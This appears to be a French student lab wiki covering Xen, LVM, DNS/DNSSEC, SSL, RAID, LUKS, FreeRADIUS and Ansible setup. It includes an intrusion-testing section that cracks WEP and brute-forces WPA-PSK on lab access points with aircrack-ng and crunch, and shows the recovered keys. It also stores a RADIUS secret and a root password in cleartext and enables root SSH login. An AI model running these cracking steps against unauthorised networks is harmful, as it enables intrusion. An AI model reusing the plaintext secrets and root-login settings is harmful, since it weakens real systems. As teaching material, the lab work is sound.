vgdisplay --- Volume group --- VG Name storage System ID Format lvm2 Metadata Areas 2 Metadata Sequence No 150 VG Access read/write VG Status resizable MAX LV 0 Cur LV 24 Open LV 12 Max PV 0 Cur PV 2 Act PV 2 VG Size <5.46 TiB PE Size 4.00 MiB Total PE 1430526 Alloc PE / Size 45056 / 176.00 GiB Free PE / Size 1385470 / <5.29 TiB VG UUID eusQhE-lOxZ-cQqQ-uFxt-dYjG-LuwI-HL0flc --- Volume group --- VG Name virtual System ID Format lvm2 Metadata Areas 2 Metadata Sequence No 333 VG Access read/write VG Status resizable MAX LV 0 Cur LV 56 Open LV 49 Max PV 0 Cur PV 2 Act PV 2 VG Size <1.82 TiB PE Size 4.00 MiB Total PE 476934 Alloc PE / Size 143104 / 559.00 GiB Free PE / Size 333830 / 1.27 TiB VG UUID MS50AM-5UPD-Q5As-ZExy-nQYw-6zvq-Lftt6B --- Volume group --- VG Name system System ID Format lvm2 Metadata Areas 2 Metadata Sequence No 2 VG Access read/write VG Status resizable MAX LV 0 Cur LV 1 Open LV 1 Max PV 0 Cur PV 2 Act PV 2 VG Size <834.18 GiB PE Size 4.00 MiB Total PE 213549 Alloc PE / Size 213549 / <834.18 GiB Free PE / Size 0 / 0 VG UUID 09LwR3-qOUI-z438-g1TX-RGan-Y0HU-zKjTj2
On a choisi d'utiliser storage car c'est celui avec le plus d'espace disponible.
On créé les deux LV
lvcreate -L10G -n Duff1 storage lvcreate -L10G -n Duff2 storage *-L : taille allouée *-n : nom de la partition *storage : volume choisi
On a formaté nos disques
mkfs.ext4 /dev/storage/Duff1 mkfs.ext4 /dev/storage/Duff2
On a modifié le fichier de configuration
Cela nous a permit d'ajouter nos deux LVM et ajouter le pont IMAsc
vim /etc/xen/Duff.cfg root = '/dev/xvda2 ro' disk = [ 'file:/usr/local/xen/domains/Duff/disk.img,xvda2,w', 'file:/usr/local/xen/domains/Duff/swap.img,xvda1,w', 'phy:/dev/storage/Duff1,xvda3,w', 'phy:/dev/storage/Duff2,xvda4,w' ] # Networking # vif = [ 'ip=193.48.57.180 ,mac=00:16:3E:28:98:56 ,bridge=IMA5sc' ]
On a ensuite lancé Duff
xl create -c /etc/xen/Duff.cfg *-c : permet de spécifier le fichier de configuration
On a ensuite autorisé l'IPv6
vi /etc/network/interfaces auto eth0 inet6 auto
Monter les disques dans la VM
Créer un point de montage
mkdir /mnt/xvda3 mkdir /mnt/xvda4 mount /dev/xvda3 /mnt/xvda3 mount /dev/xvda4 /mnt/xvda4
On créé les deux partitions
Les deux partitions que nous allons créer sont /home et /var or dans /var il y a déjà des fichiers que nous allons déplacer dans notre /mnt/xvda4
mv /var/* /mnt/xvda4
On édite fstab afin d'ajouter nos deux disques
vi /etc/fstab /dev/xvda3 /home ext4 defaults 0 2 /dev/xvda4 /var ext4 defaults 0 2 *ext4 : type de formatage
On monte tout
mount -a
On peut ensuite voir tout nos disques
lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT xvda1 202:1 0 512M 0 disk [SWAP] xvda2 202:2 0 4G 0 disk / xvda3 202:3 0 10G 0 disk /home xvda4 202:4 0 10G 0 disk /var
Service Internet
SSH
Modifier le fichier /etc/ssh/sshd_config:
Décommenter Port X Autoriser le login root : PermitRootLogin Yes X : numéro du port ssh = 22
Relancer le service SSH
service ssh restart
Serveur DNS
Nom de domaine :
Aller sur Gandi.net : Nom domaine : duff-tulipe.club Blue record : ns1.duff-tulipe.club ip : 193.48.57.180
Modification de /etc/resolv.conf
On installe un serveur de noms sur notre machine, elle nous servira donc de nameserver
nameserver 127.0.0.1
Modification de /etc/bind/named.conf.local
zone "duff-tulipe.club" IN { type master; file "/etc/bind/db.duff-tulipe.club"; allow-transfer { 217.70.177.40; }; };
Création de /etc/bind/db.duff-tulipe.club
$TTL 259200 @ IN SOA ns1.duff-tulipe.club. postmaster.duff-tulipe.club. ( 2021121301 ; Incrementation date based 18000 ; Refresh every 5 hours 3600 ; Retry every hour 388000 ; Expire after 45 days 259200 ) ; Minimum TTL : 3 days ; @ IN NS ns1.duff-tulipe.club. @ IN NS ns6.gandi.net. ns1 IN A 193.48.57.180 www IN A 193.48.57.180 IN AAAA 2001:660:4401:60b0:216:3eff:fe28:9856 * A : Nom attribué à une adresse de type IP V4 * AAAA : Nom attribué à une adresse de type IP V6 * NS : Le ou les serveurs de noms de la zone (IPV4) * SOA : Démarre la configuration * TTL : Time to Live
Sécurisation du site par certificat SSL
Nous avons généré les clés privés et publiques avec un niveau de hachage SHA256.
openssl req -nodes -newkey rsa:2048 -sha256 -keyout duff-tulipe.club.key -out duff-tulipe.club.csr * duff-tulipe.club.key : clé privé * duff-tulipe.club.csr : clé publique
Il faut ensuite faire une demande de signature sur gandi.net puis ajouter un enregistrement CNAME à notre DNS dans le fichier /etc/bind/db.duff-tulipe.club :
_81984CA0A14C2BF87A3DC60134F472F1.duff-tulipe.club. 10800 IN CNAME 9693CBB1C5FF588366B34976185CEF2D.CF6A4117B09D101A3558AB1B3B415A3F.3001ef257407d5a371a9.sectigo.com.
Le certificat est disponible sur gandi sous format .crt et il faut le placer dans /etc/ssl/certs. On doit également télécharger le certificat intermédiaire de gandi (GandiStandardSSLCA2.pem).
Configuration de Apache 2 en utilisant le certificat SSL de Gandi
Activer le module SSL
a2enmod ssl
Le port 80 est écouté par défaut pour le HTTP. Nous voulons sécuriser le site avec un certificat SSL et devons donc utiliser le port 443 pour mettre HTTPS en place. On va donc remplacer :
<IfModule ssl_module> Listen 443 </IfModule>
par
<IfModule mod_ssl.c> Listen 443 </IfModule>
Le répertoire par défaut d'Apache pour le routes html est /var/www/html. Nous créons un répertoire custom /var/www/duff-tulipe.club. Nous personnaliserons la page index.html avec le contenu qui nous convient.
Nous complétons le fichier de configuration custom avec /etc/apache2/sites-available/000-duff-tulipe.club-ssl.conf
<VirtualHost *:80> ServerName duff-tulipe.club ServerAlias www.duff-tulipe.club ServerAdmin webmaster@localhost DocumentRoot /var/www/html Redirect permanent / https://duff-tulipe.club/ </VirtualHost> <VirtualHost *:443> ServerAdmin webmaster@localhost ServerName duff-tulipe.club ServerAlias www.duff-tulipe.club DocumentRoot /var/www/html SSLEngine on SSLCertificateFile /etc/ssl/certs/duff-tulipe.club.crt SSLCertificateKeyFile /etc/ssl/private/duff-tulipe.club.key ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined </VirtualHost> On spécifie l'emplacement du certificat ssl avec la clé qui lui est associée.
Malheureusement, notre certificat SSL n'est pas associé à la bonne clé. Nous avons donc cherché des solutions alternatives. Au final nous avons demandé une nouvelle génération sur Gandi du certificat SSL et recommencé la manipulation. Les solutions alternatives sont quand même renseignées plus bas.
Configuration de Apache 2 en utilisant le certificat de Let's Encrypt
Nous allons utiliser certbot pour configurer apache automatiquement et utiliser le certificat SSL de Let's Encrypt. La documentation complète peut être trouvée via ce lien : https://certbot.eff.org/instructions?ws=apache&os=debianbuster.
Installer snap
apt install snap
S'assurer que la version de snap est à jour
snap install core; snap refresh core
Installer Certbot
snap install --classic certbot
Préparation de la commande Certbot
ln -s /snap/bin/certbot /usr/bin/certbot
Lancer Certbot
certbot -v --apache -v pour voir le détail des erreurs/warnings
Comme on peut voir dans la réponse ci-dessous, c'est un échec.
Which names would you like to activate HTTPS for? - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 1: duff-tulipe.club - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Select the appropriate numbers separated by commas and/or spaces, or leave input blank to select all options shown (Enter 'c' to cancel): Requesting a certificate for duff-tulipe.club Performing the following challenges: http-01 challenge for duff-tulipe.club Enabled Apache rewrite module Waiting for verification... Challenge failed for domain duff-tulipe.club http-01 challenge for duff-tulipe.club Certbot failed to authenticate some domains (authenticator: apache). The Certificate Authority reported these problems: Domain: duff-tulipe.club Type: dns Detail: No valid IP addresses found for duff-tulipe.club Hint: The Certificate Authority failed to verify the temporary Apache configuration changes made by Certbot. Ensure that the listed domains point to this Apache server and that it is accessible from the internet. Cleaning up challenges Some challenges have failed. Ask for help or search for solutions at https://community.letsencrypt.org. See the logfile /var/log/letsencrypt/letsencrypt.log or re-run Certbot with -v for more details.
Une dernière solution a été testée.
Configuration de Apache 2 en utilisant le certificat de SSL For Free
Il suffit de se rendre sur ce lien https://www.sslforfree.com/. On rempli ensuite les champ nécessaire pour obtenir le certificat. Finalement, l'étape qui pose problème est l'étape où le site vérifie que nous sommes bien les propriétaires du site.
3 solutions sont possibles.
Vérification par email
Vérification par DNS
Vérification par Upload HTTP
La vérification par Upload HTTP ne fonctionne pas car un lien du site est mort.
La vérification DNS ne fonctionne pas après avoir ajouté cet enregistrement DNS demandé par le site. UPDATE : Au final ça ne fonctionnait pas car il fallait aussi changer le DNS signé.
_BAAD2B664782B429E8BE0708BD15D557.duff-tulipe.club 3600 IN CNAME 0D9E12C86DFDDE0298FFFAE45FFABAD8.387D5A4E897132A9AB37E065A38E1FF8.c79cacd286c398f.comodoca.com
La vérification par email implique que nous ayons une boîte mail sur le nom de domaine.
Configuration d'une boîte mail sur le domaine
Pour finaliser l'étape précédente de validation pour obtenir un certificat SSL nous avons tenté de créer une boîte mail associée à notre domaine sur gandi.
Pour cela il faut aller sur l'espace de gestion de son domaine puis dans Boites & redirections Mail. Comme nous utilisons un DNS externe et pas celui de gandi, il est nécessaire d'ajouter des enregistrements sur notre DNS.
vim /etc/bind/db.duff-tulipe.club
On édite le fichier en ajoutant :
@ 10800 IN MX 10 spool.mail.gandi.net. @ 10800 IN MX 50 fb.mail.gandi.net. @ 10800 IN TXT "v=spf1 include:_mailcust.gandi.net ?all"
On ajoute également des enregistrements SRV recommandés par Gandi
_imap._tcp 10800 IN SRV 0 0 0 . _imaps._tcp 10800 IN SRV 0 1 993 mail.gandi.net. _pop3._tcp 10800 IN SRV 0 0 0 . _pop3s._tcp 10800 IN SRV 10 1 995 mail.gandi.net. _submission._tcp 10800 IN SRV 0 1 465 mail.gandi.net.
On crée ensuite une boîte mail sur gandi. Nous l'avons appellée webmaster@duff-tulipe.club. Nous pouvons ensuite utiliser les Webmails proposés par gandi. Nous utilisons RoundCube.
Pour l'envoi de mail, nous obtenons l'erreur suivante :
Erreur SMTP (550) : échec d’ajout du destinataire « camille.vingere@gmail.com » (5.1.8 <webmaster@duff-tulipe.club>: Sender address rejected: Domain not found)
Pour la réception de mail, nous obtenons l'erreur suivante :
DNS Error: 28225874 DNS type 'mx' lookup of duff-tulipe.club responded with code NOERROR 28225874 DNS type 'mx' lookup of duff-tulipe.club had no relevant answers. 28225874 DNS type 'aaaa' lookup of duff-tulipe.club responded with code NOERROR 28225874 DNS type 'aaaa' lookup of duff-tulipe.club had no relevant answers. 28225874 DNS type 'a' lookup of duff-tulipe.club responded with code NOERROR 28225874 DNS type 'a' lookup of duff-tulipe.club had no relevant answers.
Sécurisation de serveur DNS par DNSSEC
Modification de /etc/binc/named.conf.options
Activer le DNSSEC pour Bind: dnssec-enable yes;
Création de la clef asymétrique de signature de clefs de zone
Création du répertore /etc/bind/duff-tulipe.dnssec
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE duff-tulipe.club
Renommer la clef en : duff-tulipe.club-ksk.key duff-tulipe.club-ksk.private
Création la clef asymétrique de la zone pour signer les enregistrements
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE duff-tulipe.club Renommer la clef en : duff-tulipe.club-zsk.key duff-tulipe.club-zsk.private
Inclusion des fichiers dans /etc/bind/db.duff-tulipe.club
$include /etc/bind/duff-tulipe.club.dnssec/duff-tulipe.club-ksk.key $include /etc/bind/duff-tulipe.club.dnssec/duff-tulipe.club-zsk.key
On incrémente le numéro de version
@ IN SOA ns1.duff-tulipe.club. postmaster.duff-tulipe.club. ( 2021121302 ; Incrementation date based
Signature des enregistrement de la zone
dnssec-signzone -o duff-tulipe.club -k duff-tulipe.club-ksk ../db.duff-tulipe.club duff-tulipe.club-zsk
Modification du ficher named.conf.local
Cela permet d'utiliser la zone signée, générée à l'étape précédente
zone "duff-tulipe.club" IN { type master; file "/etc/bind/db.duff-tulipe.club.signed"; allow-transfer { 217.70.177.40; }; };
Communication de la partie publique
Copie du ficher duff-tulipe.club-ksk.key dans la partie DNSSEC de notre domaine sur gandi.net (KSK et algorithme RSA-SHA1)
Test
On lance la commande
dnssec-verify -o duff-tulipe.club db.duff-tulipe.club.signed
Loading zone 'duff-tulipe.club' from file 'db.duff-tulipe.club.signed' Verifying the zone using the following algorithms: - RSASHA1 Zone fully signed: Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked ZSKs: 1 active, 0 stand-by, 0 revoked
Tests d'intrusion
Cassage de clef WEP d’un point d’accès WiFi
Installation du paquet aircrack
apt install aircrack-ng
Affichage de notre interface réseau
airmon-ng
Arrêter les process existant
airmon-ng check kill
Connecter notre interface sur un canal
airmon-ng start <n°interface> <canal> n°interface : wlan0mon canal : 3
Récupération du BSSID du point d'accès
airodump-ng wlan0mon permet d'écouter tous les paquets On choisit une cracotte : cracotte05 => BSSID : 04:DA:D2:9C:50:54
Test d'injection
Après avoir récupéré le BSSID d'une des cracotte on réalise un test d'injection.
aireplay-ng -9 -e <nom_du_point_d_acces> -a <BSSID> <n°interface>
Capture des VI sur notre point d'accès dans un fichier
airodump-ng -c <canal> --bssid <BSSID> -w output <n°interface>
Il faut désormais ouvrir un nouveau terminal.
Associer l'interface réseau à notre point d'accès
Nous utilisons une fausse authentification pour nous connecter.
aireplay-ng -1 0 -e <nom_du_point_d_acces> -a <BSSID> -h <BSSID_interface_reseau> <n°interface> nom pt acces : cracotte05 bssid: 04:DA:D2:9C:50:54 BSSID_interface_reseau : 40:A5:EF:01:35:79 n°interface : wlan0mon
Décryptage
aircrack-ng -b 04:DA:D2:9C:50:54 output*.cap Va tester différentes clefs jusqu'à trouver la bonne (822 dans notre cas) KEY FOUND! [ 55:55:55:55:5A:BC:06:CB:A4:44:44:44:44] Decrypted correctly: 100%
Cassage du mot de passe WPA-PSK par force brute
Affichage de notre interface réseau
airmon-ng wlx40a5ef059e47
Arrêter les process existant
airmon-ng check kill
Connecter notre interface sur un canal
airmon-ng start <n°interface> <canal> n°interface : wlan0mon canal : 3
Récupération du BSSID du point d'accès
airodump-ng wlan0mon permet d'écouter tous les paquets On choisit une kracotte (avec un "k" pour le WPA) : kracotte14 => BSSID : 44:AD:D9:5F:87:0D
On capture ensuite les VI générés par le point d'accès afin de capturer une Handshake dans un fichier psk :
airodump-ng -c 3 --bssid 44:AD:D9:5F:87:03 -w psk wlan0mon
*-c 3 : channel *--bssid: BSSID de la kracotte
On créé ensuite un dictionnaire de toutes les combinaisons possibles de 8 chiffres avec l'aide de l'utilitaire crunch :
apt install crunch
crunch 8 8 0123456789 -o password.lst *8 nombre min de caractères *8 nombre max de caractères *0123456789 : caractères utilisés pour les combinaisons *-o : fichier de sortie
Une fois le chargement terminé nous obtenons ce résultat
[00:56:46] 59882312/100000000 keys tested (17564.32 k/s) KEY FOUND! [ 59914999 ] Master Key : B6 2C 87 9A 1D D2 52 1A 23 45 79 FA 95 2F 09 F0 75 A4 0C D9 AD 3B 10 C3 2B F7 41 50 00 AF D5 9D Transient Key : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 EAPOL HMAC : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Réalisation
Sécurisation de données
Pour notre serveur Xen on crée trois partitions LVM de 1Go avec des noms liés à celui de notre serveur (stprage)
lvcreate -L1G -n duff-raid1 storage lvcreate -L1G -n duff-raid2 storage lvcreate -L1G -n duff-raid3 storage
Nous ajoutons les partitions à notre fichier de configuration qui se trouve dans /etc/xen/Duff.cfg
'phy:/dev/storage/duff-raid1,xvdb1,w', 'phy:/dev/storage/duff-raid2,xvdb2,w', 'phy:/dev/storage/duff-raid3,xvdb3,w'
On regarde la liste des machines lancées.
xl list
On éteint la VM
xl shutdown 6 Pour éteindre la machine avec l'ID 6 (la notre)
On relance la VM
xl create -c /etc/xen/Duff.cfg
On crée la partition Raid5
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvdb1 /dev/xvdb2 /dev/xvdb3
On formate la partition en ext4
mkfs.ext4 /dev/md0
On ajoute au fichier /etc/fstab la partition formatée /dev/md0 pour qu'il soit monté durant le démarrage de la VM
/dev/md0 /media/raid ext4 defaults 0 1 mount -a
Chiffrement des données
On branche la clé USB sur une zabeth et on se met en su - , et on lance lsblk
et on trouve :
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT sdb 8:16 1 7.2G 0 disk
Donc on peut formater la clé qui contient déjà des données (cryptées ou non) :
mkfs.ext4 /dev/sdb
Avec cryptsetup
on peut initialiser la clé et on choisi un mot de passe :
cryptsetup luksFormat /dev/sda
On crée une partition chiffrée sur la clé (nom du volume : data) :
$ cryptsetup luksOpen /dev/sdb data
Et on formate :
$ mkfs.ext4 /dev/mapper/data
On monte cette partition pour lui permettre de contenir des fichiers :
$ mkdir /mnt/data-usb $ mount -t ext4 /dev/mapper/data /mnt/data-usb
On y ajoute donc un fichier de test en écrivant du texte dedans :
$ vim /mnt/data-usb/hello.txt
Puis on démonte et on ferme le volume chiffré
$ umount /mnt/data-usb $ cryptsetup luksClose data
On branche ensuite la clé sur une autre machine et on nous demande bien un mot de passe :
Point d'accès Wi-Fi authentifié via FreeRADIUS
Configuration du point d'accès
Point d'accès
Tout d'abord il faut configurer l'authentification EAP dans la configuration :
conf t aaa new-model aaa authentication login eap_duff group radius_duff radius-server host 193.48.57.180 auth-port 1812 acct-port 1813 key secret_group5 aaa group server radius radius_duff server 193.48.57.180 auth-port 1812 acct-port 1813 exit
Configurons le SSID :
conf t dot11 ssid DUFF vlan 5 authentication open eap eap_duff authentication network-eap eap_duff authentication key-management wpa mbssid guest-mode exit exit
On associe notre SSID à l'interface WIFI :
conf t interface Dot11Radio0 encryption vlan 4 mode ciphers aes-ccm tkip ssid DUFF mbssid exit exit
On paramètre notre VLAN (5)
conf t interface Dot11Radio0.4 encapsulation dot1Q 4 no ip route-cache bridge-group 4 bridge-group 4 subscriber-loop-control bridge-group 4 spanning-disabled bridge-group 4 block-unknown-source exit exit
On configure l'interface filaire
conf t interface GigabitEthernet0.4 encapsulation dot1Q 4 bridge-group 4 exit exit
Enfin, on configure l'IP de l'AP et sa gateway
conf t ip default-gateway 10.1.0.1 interface BVI 1 ip address 10.1.0.3 255.255.255.0 exit exit
Routeur
Commençons par configurer le VLAN 1
conf t interface vlan 1 ip address 10.1.0.1 255.255.255.0 exit exit
Puis on configure le port (ici Gi1/0/3
conf t interface Gi1/0/3 switchport switchport mode trunk switchport trunk allowed vlan add 1 exit exit
Serveur FreeRADIUS
Installation de freeRADIUS
apt install freeradius
On commence par configurer /etc/freeradius/3.0/clients.conf
à détailler
client pra_wifi { ipaddr = 10.1.0.3/24 secret = secret_group5 }
ensuite /etc/freeradius/3.0/mod-enabled/eap.conf
eap { [...] default_eap_type = peap }
puis /etc/freeradius/3.0/users
[...] root Cleartext-Password := "glopglop"
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug freeradius -X
(après avoir au préalable stoppé le processus)
TP ASR
Préliminaire : Configuration d'une nouvelle VM sur chassiron.plil.info
Nous devons configurer l'IPV4 sur la machine.
vim /etc/network/interfaces
On rajoute l'adresse IPV4 et la gateway.
address 172.26.145.105/24 gateway 172.26.145.254
Puis
ifdown eth0 ifup eth0
On autorise la connexion en ssh dans /etc/ssh/
vi sshd_config
On met
PermitRootLogin yes
et on décommente
PubkeyAuthentication yes
Génération de clé SSH
Pour se connecter à la VM avec ansible nous générons une clé SSH dans ~/.ssh/ de la zabeth05
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C "your.name@polytech-lille.net" -P
Puis on copie id-ed25519.pub dans /root/.ssh/authorized_keys dans notre VM
Clonage du GIT
export https_proxy="http://proxy.plil.fr:3128" git clone https://github.com/thomas-maurice/polytech-asr-lab.git
Installation de Ansible
Dans le fichier inventory
pra-05 ansible_ssh_host="172.26.145.105"
On créé un virtualenv, on l'active et on installe ansible.
python3 -m venv ~/env-ansible . ~/env-ansible/bin/activate pip3 install -U setuptools wheel pip3 install -U ansible
Il a fallu modifier la ligne de security updates dans /etc/apt/sources.list de notre VM afin de pouvoir utiliser apt. Puis on peut run.
ansible-playbook -v -i inventory polytech.yaml
SSH Key role
Création des répertoire /roles/ssh_key/tasks et /roles/ssh_keys/template
tasks/main.yml :
- name: "SSH Key role" template: src: authorized_key.j2 dest: /root/.ssh/authorized_keys owner: root group: root mode: "0600"
src: fichier avec la fonction a réaliser dest: fichier destination dans notre VM mode : permission
template/authorized_key.j2 :
{% for item in ssh_keys %} {{ item.key }} {% endfor %}
ssh_key est une liste dans le fichier group_vars/all.yaml on regarde donc chaque element de cette liste et on cope la valuer pour le clef 'key'
Pour que ce script soit lancé, il faut ajouté dans polytech.yaml le rôle ssh_key Il faut également ajouter notre clef dnas group_vars/all.yaml afin qu'elle soit aussi copié
On relance ensuite la commande afin de réaliser le script
ansible-playbook -v -i inventory polytech.yaml
Installation de Docker
ansible-galaxy install geerlingguy.docker
On le rajoute au polytech.yaml
Firewall
Non nécessaire
Consul
Création d'un role consul avec un fichier de configuration :
{ "datacenter": "polytech", "data_dir": "/var/lib/consul", "log_level": "INFO", "node_name": "Ln&Cam", "server": false }
Création d'un fichier consul/tasks/main.yml pour créer un consul client, les répertoires /etc/consul et /var/lib/consul et lancer consul via docker
--- - name: "Create consul user" user: name: consul group: consul uid: 666 gid: 666 - name: "Create directory /etc/consul" file: path: /etc/consul state: directory owner: consul group: consul - name: "Create directory /var/lib/consul" file: path: /var/lib/consul state: directory owner: consul group: consul - name: "Configuration file for consul" copy: src: config_consul.json dest: /etc/consul/server.json owner: consul group: consul - name: "Launch consul" docker_container: name: consul_docker groups : - consul user: consul image: bitnami/consul volume: - /etc/consul/ network_mode: host
Pour que ce script soit lancé, il faut ajouté dans polytech.yaml